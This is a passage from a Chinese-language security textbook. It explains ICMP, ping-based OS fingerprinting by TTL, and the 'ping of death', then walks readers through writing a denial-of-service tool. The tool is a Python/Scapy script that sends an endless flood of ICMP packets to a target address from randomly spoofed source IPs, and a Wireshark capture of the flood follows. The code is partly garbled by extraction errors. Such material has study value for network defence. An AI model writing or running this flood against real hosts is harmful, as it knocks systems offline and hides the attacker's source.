网络层是OSI参考模型中的第三层,介于传输层和数据链路层之间,其目的 是实现两个终端系统之间数据的透明传送,具体功能包括:寻址和路由选择、连 接的建立、保持和终止等。位于网络层的协议包括ARP 、IP和ICMP等。下面就 ICMP为例,带领大家一起编写网络层拒绝服务攻击的脚本。
ICMP又称为控制报文协议,用于在IP主机、路由器之间传递控制消息。控制 消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。通常检 测网络连通情况使用的ping指令就属于ICMP ,如图9-16所示,当有数据包有返回 值时,代表网络连通,否则表示网络中存在故障或不可达。通过ping指令不仅可 以查看网络的连通情况,而且可以判定主机类型,根据返回信息进行故障分析
等。
通常根据目标主机返回的TTL值确定目标主机的系统信息。TTL是指生存
期,也就是所传输的数据在网络上经过的路由器的最大个数。这样可以有效防止 垃圾数据占据宝贵的网络带宽。不同的操作系统,返回的TTL值也不相同,UNIX 操作系统ICMP回显应答的TTL字段值为255位,Linux操作系统ICMP回显应答的 TTL字段值为64位,Windows操作系统ICMP回显应答的TTL字段值为32或128位。 如图9-16和图9-17所示,分别为Linux系统和Windows系统返回的信息。
图9-16 目标Linux系统返回信息
图9-17 目标Windows系统返回信息
通过上面简单的介绍,相信读者对ICMP已经有了一个大概的了解。同样,通 过ping操作也可以达到拒绝服务攻击的效果,例如“死亡之ping” ,该现象的发生是 由于早期的操作系统在接收到较大的数据包后,因无法及时处理而宕机,现在的 操作系统则不会出现该问题。但是,当控制多个僵尸主机一同向目标主机发送数 据时,同样也会出现“死亡之ping” ,使目标主机宕机。
下面将带领大家通过Python脚本实现工具的编写,此处依然使用RandIP() 产生随机的源IP地址:
U
#-*- coding:utf-8 -*-
import sys
from scapy .all import *
def start(argv) :
if len(sys .argv)<2:
print(sys .argv[0] +" <target_ip>")
sys .exit(0)
while(1) :
pds t = sys .argv[1]
send(IP(src=Rand IP(),dst=pds t)/ICMP())
if __name__ == '__main__ ' :
#定义异常
try:
start(sys .argv[1:])
except Keyboard Interrupt :
print("interrupted by user, killing all threads . . .")
使用Wireshark来捕获发送出去的数据包,如下所示:
可以看出,发送的源IP地址随机变化, 目的IP地址固定不变,为
192.168.0.105 。该地址在收到请求后,由于发送的IP随机变化,虚拟的IP地址未 向目标主机发送过请求,故目标主机的通信流量中会存在ARP数据流。